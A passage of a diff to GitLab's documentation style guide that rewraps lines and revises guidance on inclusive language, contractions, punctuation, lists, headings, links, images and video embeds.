+ Continuous Deployment, Scrum, and Agile. (Tested in [`.markdownlint.json`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.markdownlint.json).)
+
+Follow the capitalization style listed at the [authoritative source](#links-to-external-documentation)
+for the entity, which may use non-standard case styles. For example: GitLab and
+npm.
-Follow the capitalization style listed at the [authoritative source](#links-to-external-documentation) for the entity, which may use non-standard case styles. For example: GitLab and npm.
+Use forms of *sign in*, instead of *log in* or *login*. For example:
+
+- Sign in to GitLab.
+- Open the sign-in page.
+
+Exceptions to this rule include the concept of *single sign-on* and
+references to user interface elements. For example:
+
+- To sign in to product X, enter your credentials, and then click **Log in**.
### Inclusive language
-We strive to create documentation that is inclusive. This section includes guidance and examples in the
-following categories:
+We strive to create documentation that is inclusive. This section includes
+guidance and examples in the following categories:
- [Gender-specific wording](#avoid-gender-specific-wording).
- [Ableist language](#avoid-ableist-language).
- [Cultural sensitivity](#culturally-sensitive-language).
-We write our developer documentation with inclusivity and diversity in mind. This page is not an exhaustive reference, but describes some general guidelines and examples that illustrate some best practices to follow.
+We write our developer documentation with inclusivity and diversity in mind. This
+page is not an exhaustive reference, but describes some general guidelines and
+examples that illustrate some best practices to follow.
#### Avoid gender-specific wording
When possible, use gender-neutral pronouns. For example, you can use a singular
-[they](https://developers.google.com/style/pronouns#gender-neutral-pronouns) as a gender-neutral
-pronoun.
+[they](https://developers.google.com/style/pronouns#gender-neutral-pronouns) as
+a gender-neutral pronoun.
Avoid the use of gender-specific pronouns, unless referring to a specific person.
-| Use | Avoid |
-|-----------------------------------|-----------------|
-| People, humanity | Mankind |
-| GitLab Team Members | Manpower |
+| Use | Avoid |
+|-----------------------------------|---------------------------------|
+| People, humanity | Mankind |
+| GitLab Team Members | Manpower |
| You can install; They can install | He can install; She can install |
-If you need to set up [Fake user information](#fake-user-information), use diverse or non-gendered
-names with common surnames.
+If you need to set up [Fake user information](#fake-user-information), use
+diverse or non-gendered names with common surnames.
#### Avoid ableist language
@@ -354,11 +455,14 @@ Avoid terms that are also used in negative stereotypes for different groups.
| Active/Inactive | Enabled/Disabled |
| On/Off | Enabled/Disabled |
-Credit: [Avoid ableist language](https://developers.google.com/style/inclusive-documentation#ableist-language) in the Google Developer Style Guide.
+Credit: [Avoid ableist language](https://developers.google.com/style/inclusive-documentation#ableist-language)
+in the Google Developer Style Guide.
#### Culturally sensitive language
-Avoid terms that reflect negative cultural stereotypes and history. In most cases, you can replace terms such as `master` and `slave` with terms that are more precise and functional, such as `primary` and `secondary`.
+Avoid terms that reflect negative cultural stereotypes and history. In most
+cases, you can replace terms such as `master` and `slave` with terms that are
+more precise and functional, such as `primary` and `secondary`.
| Use | Avoid |
|----------------------|-----------------------|
@@ -372,8 +476,10 @@ For more information see the following [Internet Draft specification](https://to
When creating documentation, limit or avoid the use of the following verb
tenses, words, and phrases:
-- Avoid jargon when possible, and when not possible, define the term or [link to a definition](#links-to-external-documentation).
-- Avoid uncommon words when a more-common alternative is possible, ensuring that content is accessible to more readers.
+- Avoid jargon when possible, and when not possible, define the term or
+ [link to a definition](#links-to-external-documentation).
+- Avoid uncommon words when a more-common alternative is possible, ensuring that
+ content is accessible to more readers.
- Don't write in the first person singular.
(Tested in [`FirstPerson.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/FirstPerson.yml).)
- Instead of "I" or "me," use "we," "you," "us," or "one."
@@ -403,7 +509,7 @@ tenses, words, and phrases:
- Instead of "e.g.," use "for example," "such as," "for instance," or "like."
- Instead of "etc.," either use "and so on" or consider editing it out, since
it can be vague.
- <!-- vale gitlab.rulename = NO -->
+ <!-- vale gitlab.LatinTerms = YES -->
- Avoid using the word *currently* when talking about the product or its
features. The documentation describes the product as it is, and not as it
will be at some indeterminate point in the future.
@@ -435,64 +541,46 @@ tenses, words, and phrases:
### Contractions
-- Use common contractions when it helps create a friendly and informal tone, especially in tutorials, instructional documentation, and [UIs](https://design.gitlab.com/content/punctuation/#contractions). (Tested in [`Contractions.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/Contractions.yml).)
-
- | Do | Don't |
- |----------|-----------|
- | it's | it is |
- | can't | cannot |
- | wouldn't | would not |
- | you're | you are |
- | you've | you have |
- | haven't | have not |
- | don't | do not |
- | we're | we are |
- | that's | that is |
- | won't | will not |
-
-- Avoid less common contractions:
-
- | Do | Don't |
- |--------------|-------------|
- | he would | he'd |
- | it will | it'll |
- | should have | should've |
- | there would | there'd |
+Contractions are encouraged, and can create a friendly and informal tone,
+especially in tutorials, instructional documentation, and
+[user interfaces](https://design.gitlab.com/content/punctuation/#contractions).
+
+Some contractions, however, should be avoided:
- Do not use contractions with a proper noun and a verb. For example:
- | Do | Don't |
- |----------------------|---------------------|
- | GitLab is creating X | GitLab's creating X |
+ | Do | Don't |
+ |------------------------------------------|-----------------------------------------|
+ | GitLab is creating X. | GitLab's creating X. |
- Do not use contractions when you need to emphasize a negative. For example:
- | Do | Don't |
- |-----------------------------|----------------------------|
- | Do **not** install X with Y | **Don't** install X with Y |
+ | Do | Don't |
+ |------------------------------------------|-----------------------------------------|
+ | Do *not* install X with Y. | *Don't* install X with Y. |
- Do not use contractions in reference documentation. For example:
- | Do | Don't |
- |------------------------------------------|----------------------------|
- | Do **not** set a limit greater than 1000 | **Don't** set a limit greater than 1000 |
- | For `parameter1`, the default is 10 | For `parameter1`, the default's 10 |
+ | Do | Don't |
+ |------------------------------------------|-----------------------------------------|
+ | Do *not* set a limit greater than 1000. | *Don't* set a limit greater than 1000. |
+ | For `parameter1`, the default is 10. | For `parameter1`, the default's 10. |
- Avoid contractions in error messages. Examples:
- | Do | Don't |
- |------------------------------------------|----------------------------|
- | Requests to localhost are not allowed | Requests to localhost aren't allowed |
- | Specified URL cannot be used | Specified URL can't be used |
-
-<!-- vale on -->
+ | Do | Don't |
+ |------------------------------------------|-----------------------------------------|
+ | Requests to localhost are not allowed. | Requests to localhost aren't allowed. |
+ | Specified URL cannot be used. | Specified URL can't be used. |
## Text
- [Write in Markdown](#markdown).
-- Splitting long lines (preferably up to 100 characters) can make it easier to provide feedback on small chunks of text.
+- Splitting long lines (preferably up to 100 characters) can make it easier to
+ provide feedback on small chunks of text.
- Insert an empty line for new paragraphs.
-- Insert an empty line between different markups (for example, after every paragraph, header, list, and so on). Example:
+- Insert an empty line between different markups (for example, after every
+ paragraph, header, list, and so on). Example:
```markdown
## Header
@@ -511,27 +599,27 @@ tenses, words, and phrases:
### Punctuation
-Check the general punctuation rules for the GitLab documentation on the table below.
-Check specific punctuation rules for [lists](#lists) below.
+Review the general punctuation rules for the GitLab documentation in the
+following table. Check specific punctuation rules for [lists](#lists) below.
Additional examples are available in the [Pajamas guide for punctuation](https://design.gitlab.com/content/punctuation/).
-| Rule | Example |
-| ---- | ------- |
-| Always end full sentences with a period. | _For a complete overview, read through this document._|
+| Rule | Example |
+|------------------------------------------------------------------|--------------------------------------------------------|
+| Always end full sentences with a period. | _For a complete overview, read through this document._ |
| Always add a space after a period when beginning a new sentence. | _For a complete overview, check this doc. For other references, check out this guide._ |
| Do not use double spaces. (Tested in [`SentenceSpacing.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/SentenceSpacing.yml).) | --- |
| Do not use tabs for indentation. Use spaces instead. You can configure your code editor to output spaces instead of tabs when pressing the tab key. | --- |
| Use serial commas ("Oxford commas") before the final 'and/or' in a list. (Tested in [`OxfordComma.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/OxfordComma.yml).) | _You can create new issues, merge requests, and milestones._ |
| Always add a space before and after dashes when using it in a sentence (for replacing a comma, for example). | _You should try this - or not._ |
-| Always use lowercase after a colon. | _Related Issues: a way to create a relationship between issues._ |
+| Always use lowercase after a colon. | _Related Issues: a way to create a relationship between issues._ |
### Placeholder text
-Often in examples, a writer will provide a command or configuration that is complete apart from
-a value specific to the reader.
+Often in examples, a writer will provide a command or configuration that
+uses values specific to the reader.
-In these cases, use [`<` and `>`](https://en.wikipedia.org/wiki/Usage_message#Pattern) to call out
-where a reader must replace text with their own value.
+In these cases, use [`<` and `>`](https://en.wikipedia.org/wiki/Usage_message#Pattern)
+to call out where a reader must replace text with their own value.
For example:
@@ -539,10 +627,22 @@ For example:
cp <your_source_directory> <your_destination_directory>
```
+### Keyboard commands
+
+Use the HTML `<kbd>` tag when referring to keystroke presses. For example:
+
+```plaintext
+To stop the command, press <kbd>Ctrl</kbd>+<kbd>C</kbd>.
+```
+
+When the docs are generated, the output is:
+
+To stop the command, press <kbd>Ctrl</kbd>+<kbd>C</kbd>.
+
## Lists
-- Always start list items with a capital letter, unless they are parameters or commands
- that are in backticks, or similar.
+- Always start list items with a capital letter, unless they are parameters or
+ commands that are in backticks, or similar.
- Always leave a blank line before and after a list.
- Begin a line with spaces (not tabs) to denote a [nested sub-item](#nesting-inside-a-list-item).
@@ -573,19 +673,19 @@ This is a list of available features:
### Markup
- Use dashes (`-`) for unordered lists instead of asterisks (`*`).
-- Prefix `1.` to every item in an ordered list.
- When rendered, the list items will appear with sequential numbering automatically.
+- Prefix `1.` to every item in an ordered list. When rendered, the list items
+ will appear with sequential numbering automatically.
### Punctuation
- Do not add commas (`,`) or semicolons (`;`) to the end of list items.
-- Only add periods to the end of a list item if the item consists of a complete sentence.
- The [definition of full sentence](https://www2.le.ac.uk/offices/ld/all-resources/writing/grammar/grammar-guides/sentence)
+- Only add periods to the end of a list item if the item consists of a complete
+ sentence. The [definition of full sentence](https://www2.le.ac.uk/offices/ld/all-resources/writing/grammar/grammar-guides/sentence)
is: _"a complete sentence always contains a verb, expresses a complete idea, and makes sense standing alone"_.
-- Be consistent throughout the list: if the majority of the items do not end in a period,
- do not end any of the items in a period, even if they consist of a complete sentence.
- The opposite is also valid: if the majority of the items end with a period, end
- all with a period.
+- Be consistent throughout the list: if the majority of the items do not end in
+ a period, do not end any of the items in a period, even if they consist of a
+ complete sentence. The opposite is also valid: if the majority of the items
+ end with a period, end all with a period.
- Separate list items from explanatory text with a colon (`:`). For example:
```markdown
@@ -623,16 +723,17 @@ Don't (vary use of periods; majority rules):
### Nesting inside a list item
-It is possible to nest items under a list item, so that they render with the same indentation
-as the list item. This can be done with:
+It's possible to nest items under a list item, so that they render with the same
+indentation as the list item. This can be done with:
- [Code blocks](#code-blocks)
- [Blockquotes](#blockquotes)
- [Alert boxes](#alert-boxes)
- [Images](#images)
-Items nested in lists should always align with the first character of the list item.
-In unordered lists (using `-`), this means two spaces for each level of indentation:
+Items nested in lists should always align with the first character of the list
+item. In unordered lists (using `-`), this means two spaces for each level of
+indentation:
````markdown
- Unordered list item 1
@@ -678,8 +779,9 @@ For ordered lists, use three spaces for each level of indentation:
![an image that will nest inside list item 4](image.png)
````
-You can nest full lists inside other lists using the same rules as above. If you wish
-to mix types, that is also possible, as long as you don't mix items at the same level:
+You can nest full lists inside other lists using the same rules as above. If you
+want to mix types, that is also possible, as long as you don't mix items at the
+same level:
```markdown
1. Ordered list item one.
@@ -737,8 +839,10 @@ page), use the following phrases (based on the SVG icons):
Valid for Markdown content only, not for front matter entries:
-- Standard quotes: double quotes (`"`). Example: "This is wrapped in double quotes".
-- Quote within a quote: double quotes (`"`) wrap single quotes (`'`). Example: "I am 'quoting' something within a quote".
+- Standard quotes: double quotes (`"`). Example: "This is wrapped in double
+ quotes".
+- Quote within a quote: double quotes (`"`) wrap single quotes (`'`). Example:
+ "I am 'quoting' something within a quote".
For other punctuation rules, please refer to the
[GitLab UX guide](https://design.gitlab.com/content/punctuation/).
@@ -755,58 +859,66 @@ For other punctuation rules, please refer to the
someone in the Merge Request.
- [Avoid using symbols and special characters](https://gitlab.com/gitlab-org/gitlab-docs/-/issues/84)
in headers. Whenever possible, they should be plain and short text.
-- Avoid adding things that show ephemeral statuses. For example, if a feature is
- considered beta or experimental, put this information in a note, not in the heading.
+- When possible, avoid including words that might change in the future. Changing
+ a heading changes its anchor URL, which affects other linked pages.
- When introducing a new document, be careful for the headings to be
grammatically and syntactically correct. Mention an [assigned technical writer (TW)](https://about.gitlab.com/handbook/product/product-categories/)
for review.
- This is to ensure that no document with wrong heading is going
- live without an audit, thus preventing dead links and redirection issues when
- corrected.
+ This is to ensure that no document with wrong heading is going live without an
+ audit, thus preventing dead links and redirection issues when corrected.
- Leave exactly one blank line before and after a heading.
- Do not use links in headings.
-- Add the corresponding [product badge](#product-badges) according to the tier the feature belongs.
-- Our docs site search engine prioritizes words used in headings and subheadings.
- Make you subheading titles clear, descriptive, and complete to help users find the
- right example, as shown in the section on [heading titles](#heading-titles).
+- Add the corresponding [product badge](#product-badges) according to the tier the
+ feature belongs.
+- Our documentation site search engine prioritizes words used in headings and
+ subheadings. Make you subheading titles clear, descriptive, and complete to help
+ users find the right example, as shown in the section on [heading titles](#heading-titles).
- See [Capitalization](#capitalization) for guidelines on capitalizing headings.
### Heading titles
-Keep heading titles clear and direct. Make every word count. To accommodate search engine optimization (SEO), use the imperative, where possible.
+Keep heading titles clear and direct. Make every word count. To accommodate
+search engine optimization (SEO), use the imperative, where possible.
-| Do | Don't |
-|:-----|:--------|
-| Configure GDK | Configuring GDK |
+| Do | Don't |
+|:--------------------------------------|:------------------------------------------------------------|
+| Configure GDK | Configuring GDK |
| GitLab Release and Maintenance Policy | This section covers GitLab's Release and Maintenance Policy |
-| Backport to older releases | Backporting to older releases |
-| GitLab Pages examples | Examples |
+| Backport to older releases | Backporting to older releases |
+| GitLab Pages examples | Examples |
For guidelines on capitalizing headings, see the section on [capitalization](#capitalization).
NOTE: **Note:**
-If you change an existing title, be careful. Any such changes may affect not only [links](#anchor-links)
-within the page, but may also affect links from GitLab itself, as well as external links, to GitLab documentation.
+If you change an existing title, be careful. Any such changes may affect not
+only [links](#anchor-links) within the page, but may also affect links to the
+GitLab documentation from both the GitLab application and external sites.
### Anchor links
Headings generate anchor links automatically when rendered. `## This is an example`
generates the anchor `#this-is-an-example`.
-Keep in mind that the GitLab UI links to a large number of docs and respective
-anchor links to take the user to the right spot. Therefore, when you change a
-heading, search `doc/*`, `app/views/*`, and `ee/app/views/*` for the old anchor
-to make sure you're not breaking an anchor linked from other docs nor from the
-GitLab UI. If you find the old anchor, make sure to replace it with the new one.
+NOTE: **Note:**
+[Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/39717) in GitLab 13.4, [product badges](#product-badges) used in headings aren't included in the
+generated anchor links. For example, when you link to
+`## This is an example **(CORE)**`, use the anchor `#this-is-an-example`.
+
+Keep in mind that the GitLab user interface links to many documentation pages
+and anchor links to take the user to the right spot. Therefore, when you change
+a heading, search `doc/*`, `app/views/*`, and `ee/app/views/*` for the old
+anchor to make sure you're not breaking an anchor linked from other
+documentation nor from the GitLab user interface. If you find the old anchor, be
+sure to replace it with the new one.
Important:
-- Avoid crosslinking docs to headings unless you need to link to a specific section
- of the document. This will avoid breaking anchors in the future in case the heading
- is changed.
+- Avoid crosslinking documentation to headings unless you need to link to a
+ specific section of the document. This will avoid breaking anchors in the
+ future in case the heading is changed.
- If possible, avoid changing headings since they're not only linked internally.
- There are various links to GitLab documentation on the internet, such as tutorials,
- presentations, StackOverflow posts, and other sources.
+ There are various links to GitLab documentation on the internet, such as
+ tutorials, presentations, StackOverflow posts, and other sources.
- Do not link to `h1` headings.
Note that, with Kramdown, it is possible to add a custom ID to an HTML element
@@ -815,16 +927,20 @@ do not use this option until further notice.
## Links
-Links are important in GitLab documentation. They allow you to [link instead of summarizing](#link-instead-of-summarize)
-to help preserve an [SSoT](#why-a-single-source-of-truth) within GitLab documentation.
+Links are important in GitLab documentation. They allow you to [link instead of
+summarizing](#link-instead-of-summarize) to help preserve a [single source of truth](#why-a-single-source-of-truth)
+within GitLab documentation.
We include guidance for links in the following categories:
- How to set up [anchor links](#anchor-links) for headings.
- How to set up [criteria](#basic-link-criteria) for configuring a link.
-- What to set up when [linking to a `help`](../documentation/index.md#linking-to-help) page.
-- How to set up [links to internal documentation](#links-to-internal-documentation) for cross-references.
-- How to set up [links to external documentation](#links-to-external-documentation) for authoritative sources.
+- What to set up when [linking to a `help`](../documentation/index.md#linking-to-help)
+ page.
+- How to set up [links to internal documentation](#links-to-internal-documentation)
+ for cross-references.
+- How to set up [links to external documentation](#links-to-external-documentation)
+ for authoritative sources.
- When to use [links requiring permissions](#links-requiring-permissions).
- How to set up a [link to a video](#link-to-video).
- How to [include links with version text](#text-for-documentation-requiring-version-text).
@@ -833,7 +949,7 @@ We include guidance for links in the following categories:
### Basic link criteria
- Use inline link Markdown markup `[Text](https://example.com)`.
- It's easier to read, review, and maintain. **Do not** use `[Text][identifier]`.
+ It's easier to read, review, and maintain. *Do not* use `[Text][identifier]`.
- Use [meaningful anchor texts](https://www.futurehosting.com/blog/links-should-have-meaningful-anchor-text-heres-why/).
For example, instead of writing something like `Read more about GitLab Issue Boards [here](LINK)`,
@@ -842,18 +958,23 @@ We include guidance for links in the following categories:
### Links to internal documentation
NOTE: **Note:**
-_Internal_ refers to documentation in the same project. When linking to documentation in
-separate projects (for example, linking to Omnibus docs from GitLab docs), you must use absolute
-URLs.
+_Internal_ refers to documentation in the same project. When linking to
+documentation in separate projects (for example, linking to Omnibus documentation
+from GitLab documentation), you must use absolute URLs.
-Do not use absolute URLs like `https://docs.gitlab.com/ee/index.html` to crosslink
-to other docs within the same project. Use relative links to the file, like `../index.md`. (These are converted to HTML when the site is rendered.)
+Do not use absolute URLs like `https://docs.gitlab.com/ee/index.html` to
+crosslink to other documentation within the same project. Use relative links to
+the file, like `../index.md`. (These are converted to HTML when the site is
+rendered.)
Relative linking enables crosslinks to work:
- in Review Apps, local previews, and `/help`.
-- when working on the docs locally, so you can verify that they work as early as possible in the process.
-- within the GitLab UI when browsing doc files in their respective repositories. For example, the links displayed at `https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/README.md`.
+- when working on the documentation locally, so you can verify that they work as
+ early as possible in the process.
+- within the GitLab user interface when browsing doc files in their respective
+ repositories. For example, the links displayed at
+ `https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/README.md`.
To link to internal documentation:
@@ -869,7 +990,8 @@ To link to internal documentation:
Do: `../../geo/replication/troubleshooting.md`
-- Always add the file name `file.md` at the end of the link with the `.md` extension, not `.html`.
+- Always add the file name `file.md` at the end of the link with the `.md`
+ extension, not `.html`.
Don't:
@@ -884,28 +1006,32 @@ To link to internal documentation:
- `../../issues/tags.md#stages`
NOTE: **Note:**
-Using the Markdown extension is necessary for the [`/help`](index.md#gitlab-help) section of GitLab.
+Using the Markdown extension is necessary for the [`/help`](index.md#gitlab-help)
+section of GitLab.
### Links to external documentation
-When describing interactions with external software, it's often helpful to include links to external
-documentation. When possible, make sure that you're linking to an [**authoritative** source](#authoritative-sources).
-For example, if you're describing a feature in Microsoft's Active Directory, include a link to official Microsoft documentation.
+When describing interactions with external software, it's often helpful to
+include links to external documentation. When possible, make sure that you're
+linking to an [**authoritative** source](#authoritative-sources). For example,
+if you're describing a feature in Microsoft's Active Directory, include a link
+to official Microsoft documentation.
### Authoritative sources
-When citing external information, use sources that are written by the people who created
-the item or product in question. These sources are the most likely to
-be accurate and remain up to date.
+When citing external information, use sources that are written by the people who
+created the item or product in question. These sources are the most likely to be
+accurate and remain up to date.
Examples of authoritative sources include:
-- Specifications, such as a [Request for Comments](https://www.ietf.org/standards/rfcs/) document
-from the Internet Engineering Task Force.
-- Official documentation for a product. For example, if you're setting up an interface with the
-Google OAuth 2 authorization server, include a link to Google's documentation.
-- Official documentation for a project. For example, if you're citing NodeJS functionality,
-refer directly to [NodeJS documentation](https://nodejs.org/en/docs/).
+- Specifications, such as a [Request for Comments](https://www.ietf.org/standards/rfcs/)
+ document from the Internet Engineering Task Force.
+- Official documentation for a product. For example, if you're setting up an
+ interface with the Google OAuth 2 authorization server, include a link to
+ Google's documentation.
+- Official documentation for a project. For example, if you're citing NodeJS
+ functionality, refer directly to [NodeJS documentation](https://nodejs.org/en/docs/).
- Books from an authoritative publisher.
Examples of sources to avoid include:
@@ -916,19 +1042,22 @@ Examples of sources to avoid include:
- Discussions on forums such as Stack Overflow.
- Documentation from a company that describes another company's product.
-While many of these sources to avoid can help you learn skills and or features, they can become
-obsolete quickly. Nobody is obliged to maintain any of these sites. Therefore, we should avoid using them as reference literature.
+While many of these sources to avoid can help you learn skills and or features,
+they can become obsolete quickly. Nobody is obliged to maintain any of these
+sites. Therefore, we should avoid using them as reference literature.
NOTE: **Note:**
-Non-authoritative sources are acceptable only if there is no equivalent authoritative source.
-Even then, focus on non-authoritative sources that are extensively cited or peer-reviewed.
+Non-authoritative sources are acceptable only if there is no equivalent
+authoritative source. Even then, focus on non-authoritative sources that are
+extensively cited or peer-reviewed.
### Links requiring permissions
Don't link directly to:
- [Confidential issues](../../user/project/issues/confidential_issues.md).
-- Project features that require [special permissions](../../user/permissions.md) to view.
+- Project features that require [special permissions](../../user/permissions.md)
+ to view.
These will fail for:
@@ -940,7 +1069,8 @@ Instead:
- To reduce confusion, mention in the text that the information is either:
- Contained in a confidential issue.
- Requires special permission to a project to view.
-- Provide a link in back ticks (`` ` ``) so that those with access to the issue can easily navigate to it.
+- Provide a link in back ticks (`` ` ``) so that those with access to the issue
+ can easily navigate to it.
Example:
@@ -950,54 +1080,54 @@ For more information, see the [confidential issue](../../user/project/issues/con
### Link to specific lines of code
-When linking to specific lines within a file, link to a commit instead of to the branch.
-Lines of code change through time, therefore, linking to a line by using the commit link
-ensures the user lands on the line you're referring to. The **Permalink** button, which is
-available when viewing a file within a project, makes it easy to generate a link to the
-most recent commit of the given file.
+When linking to specific lines within a file, link to a commit instead of to the
+branch. Lines of code change through time, therefore, linking to a line by using
+the commit link ensures the user lands on the line you're referring to. The
+**Permalink** button, which is available when viewing a file within a project,
+makes it easy to generate a link to the most recent commit of the given file.
-- **Do:** `[link to line 3](https://gitlab.com/gitlab-org/gitlab/-/blob/11f17c56d8b7f0b752562d78a4298a3a95b5ce66/.gitlab/issue_templates/Feature%20proposal.md#L3)`
-- **Don't:** `[link to line 3](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab/issue_templates/Feature%20proposal.md#L3).`
+- *Do:* `[link to line 3](https://gitlab.com/gitlab-org/gitlab/-/blob/11f17c56d8b7f0b752562d78a4298a3a95b5ce66/.gitlab/issue_templates/Feature%20proposal.md#L3)`
+- *Don't:* `[link to line 3](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab/issue_templates/Feature%20proposal.md#L3).`
-If that linked expression is no longer in that line of the file due to further commits, you
-can still search the file for that query. In this case, update the document to ensure it
-links to the most recent version of the file.
+If that linked expression is no longer in that line of the file due to additional
+commits, you can still search the file for that query. In this case, update the
+document to ensure it links to the most recent version of the file.
## Navigation
-To indicate the steps of navigation through the UI:
+To indicate the steps of navigation through the user interface:
- Use the exact word as shown in the UI, including any capital letters as-is.
-- Use bold text for navigation items and the char "greater than" (`>`) as separator
- (for example, `Navigate to your project's **Settings > CI/CD**` ).
-- If there are any expandable menus, make sure to mention that the user
- needs to expand the tab to find the settings you're referring to (for example, `Navigate to your project's **Settings > CI/CD** and expand **General pipelines**`).
+- Use bold text for navigation items and the char "greater than" (`>`) as a
+ separator (for example, `Navigate to your project's **Settings > CI/CD**` ).
+- If there are any expandable menus, make sure to mention that the user needs to
+ expand the tab to find the settings you're referring to (for example,
+ `Navigate to your project's **Settings > CI/CD** and expand **General pipelines**`).
## Images
Images, including screenshots, can help a reader better understand a concept.
However, they can be hard to maintain, and should be used sparingly.
-Before including an image in the documentation, ensure it provides value to the reader.
+Before including an image in the documentation, ensure it provides value to the
+reader.
### Capture the image
-Use images to help the reader understand where they are in a process, or how they need to
-interact with the application.
+Use images to help the reader understand where they are in a process, or how
+they need to interact with the application.
When you take screenshots:
- *Capture the most relevant area of the page.* Don't include unnecessary white
- space or areas of the page that don't help illustrate your point. Also, don't
- include the entire page if you don't have to, but also ensure the image
- contains enough information to allow the user to determine where things are.
-- *Be consistent.* Find a browser window size that works for you that also
- displays all areas of the product, including the left navigation (usually >
- 1200px wide). For consistency, use this browser window size for your
- screenshots by installing a browser extension for setting a window to a
- specific size (for example,
- [Window Resizer](https://chrome.google.com/webstore/detail/window-resizer/kkelicaakdanhinjdeammmilcgefonfh/related?hl=en)
- for Google Chrome).
+ space or areas of the page that don't help illustrate the point. The left
+ sidebar of the GitLab user interface can change, so don't include the sidebar
+ if it's not necessary.
+- *Keep it small.* If you don't need to show the full width of the screen, don't.
+ A value of 1000 pixels is a good maximum width for your screenshot image.
+- *Be consistent.* Coordinate screenshots with the other screenshots already on
+ a documentation page. For example, if other screenshots include the left
+ sidebar, include the sidebar in all screenshots.
### Save the image
@@ -1017,15 +1147,16 @@ When you take screenshots:
- Images should be used (only when necessary) to _illustrate_ the description
of a process, not to _replace_ it.
- Max image size: 100KB (gifs included).
-- See also how to link and embed [videos](#videos) to illustrate the docs.
+- See also how to link and embed [videos](#videos) to illustrate the
+ documentation.
### Add the image link to content
The Markdown code for including an image in a document is:
`![Image description which will be the alt tag](img/document_image_title_vX_Y.png)`
-The image description is the alt text for the rendered image on the docs site.
-For accessibility and SEO, use [descriptions](https://webaim.org/techniques/alttext/)
+The image description is the alt text for the rendered image on the
+documentation site. For accessibility and SEO, use [descriptions](https://webaim.org/techniques/alttext/)
that:
- Are accurate, succinct, and unique.
@@ -1036,9 +1167,9 @@ Also, if a heading immediately follows an image, be sure to add three dashes
### Remove image shadow
-All images displayed on the [GitLab Docs site](https://docs.gitlab.com) have a box shadow by default.
-To remove the box shadow, use the image class `.image-noshadow` applied
-directly to an HTML `img` tag:
+All images displayed on the [GitLab documentation site](https://docs.gitlab.com)
+have a box shadow by default. To remove the box shadow, use the image class
+`.image-noshadow` applied directly to an HTML `img` tag:
```html
<img src="path/to/image.jpg" alt="Alt text (required)" class="image-noshadow">
@@ -1075,18 +1206,20 @@ request.
## Videos
-Adding GitLab's existing YouTube video tutorials to the documentation is
-highly encouraged, unless the video is outdated. Videos should not
-replace documentation, but complement or illustrate it. If content in a video is
-fundamental to a feature and its key use cases, but this is not adequately covered in the documentation,
-add this detail to the documentation text or create an issue to review the video and do so.
+Adding GitLab's existing YouTube video tutorials to the documentation is highly
+encouraged, unless the video is outdated. Videos should not replace
+documentation, but complement or illustrate it. If content in a video is
+fundamental to a feature and its key use cases, but this is not adequately
+covered in the documentation, add this detail to the documentation text or
+create an issue to review the video and do so.
-Do not upload videos to the product repositories. [Link](#link-to-video) or [embed](#embed-videos) them instead.
+Do not upload videos to the product repositories. [Link](#link-to-video) or
+[embed](#embed-videos) them instead.
### Link to video
-To link out to a video, include a YouTube icon so that readers can
-quickly and easily scan the page for videos before reading:
+To link out to a video, include a YouTube icon so that readers can scan the page
+for videos before reading:
```markdown
<i class="fa fa-youtube-play youtube" aria-hidden="true"></i>
@@ -1099,26 +1232,24 @@ You can link any up-to-date video that is useful to the GitLab user.
> [Introduced](https://gitlab.com/gitlab-org/gitlab-docs/-/merge_requests/472) in GitLab 12.1.
-The [GitLab Docs site](https://docs.gitlab.com) supports embedded videos.
+The [GitLab documentation site](https://docs.gitlab.com) supports embedded
+videos.
-You can only embed videos from
-[GitLab's official YouTube account](https://www.youtube.com/channel/UCnMGQ8QHMAnVIsI3xJrihhg).
+You can only embed videos from [GitLab's official YouTube account](https://www.youtube.com/channel/UCnMGQ8QHMAnVIsI3xJrihhg).
For videos from other sources, [link](#link-to-video) them instead.
-In most cases, it is better to [link to video](#link-to-video) instead,
-because an embed takes up a lot of space on the page and can be distracting
-to readers.
+In most cases, it is better to [link to video](#link-to-video) instead, because
+an embed takes up a lot of space on the page and can be distracting to readers.
-To embed a video, follow the instructions below and make sure
-you have your MR reviewed and approved by a technical writer.
+To embed a video, follow the instructions below and make sure you have your MR
+reviewed and approved by a technical writer.
-1. Copy the code below and paste it into your Markdown file.
- Leave a blank line above and below it. Do NOT edit the code
- (don't remove or add any spaces).
-1. On YouTube, visit the video URL you want to display. Copy
- the regular URL from your browser (`https://www.youtube.com/watch?v=VIDEO-ID`)
- and replace the video title and link in the line under `<div class="video-fallback">`.
-1. On YouTube, click **Share**, then **Embed**.
+1. Copy the code below and paste it into your Markdown file. Leave a blank line
+ above and below it. Do *not* edit the code (don't remove or add any spaces).
+1. In YouTube, visit the video URL you want to display. Copy the regular URL
+ from your browser (`https://www.youtube.com/watch?v=VIDEO-ID`) and replace
+ the video title and link in the line under `<div class="video-fallback">`.
+1. In YouTube, click **Share**, and then click **Embed**.
1. Copy the `<iframe>` source (`src`) **URL only**
(`https://www.youtube.com/embed/VIDEO-ID`),
and paste it, replacing the content of the `src` field in the
@@ -1135,7 +1266,7 @@ leave a blank line here
leave a blank line here
```
-This is how it renders on the GitLab Docs site:
+This is how it renders on the GitLab documentation site:
<div class="video-fallback">
See the video: <a href="https://www.youtube.com/watch?v=enMumwvLAug">What is GitLab</a>.
@@ -1147,26 +1278,28 @@ This is how it renders on the GitLab Docs site:
> Notes:
>
> - The `figure` tag is required for semantic SEO and the `video_container`
-class is necessary to make sure the video is responsive and displays
-nicely on different mobile devices.
+class is necessary to make sure the video is responsive and displays on
+different mobile devices.
> - The `<div class="video-fallback">` is a fallback necessary for GitLab's
-`/help`, as GitLab's Markdown processor does not support iframes. It's hidden on the docs site but will be displayed on GitLab's `/help`.
+`/help`, as GitLab's Markdown processor does not support iframes. It's hidden on
+the documentation site, but will be displayed on GitLab's `/help`.
## Code blocks
- Always wrap code added to a sentence in inline code blocks (`` ` ``).
For example, `.gitlab-ci.yml`, `git add .`, `CODEOWNERS`, or `only: [master]`.
- File names, commands, entries, and anything that refers to code should be added to code blocks.
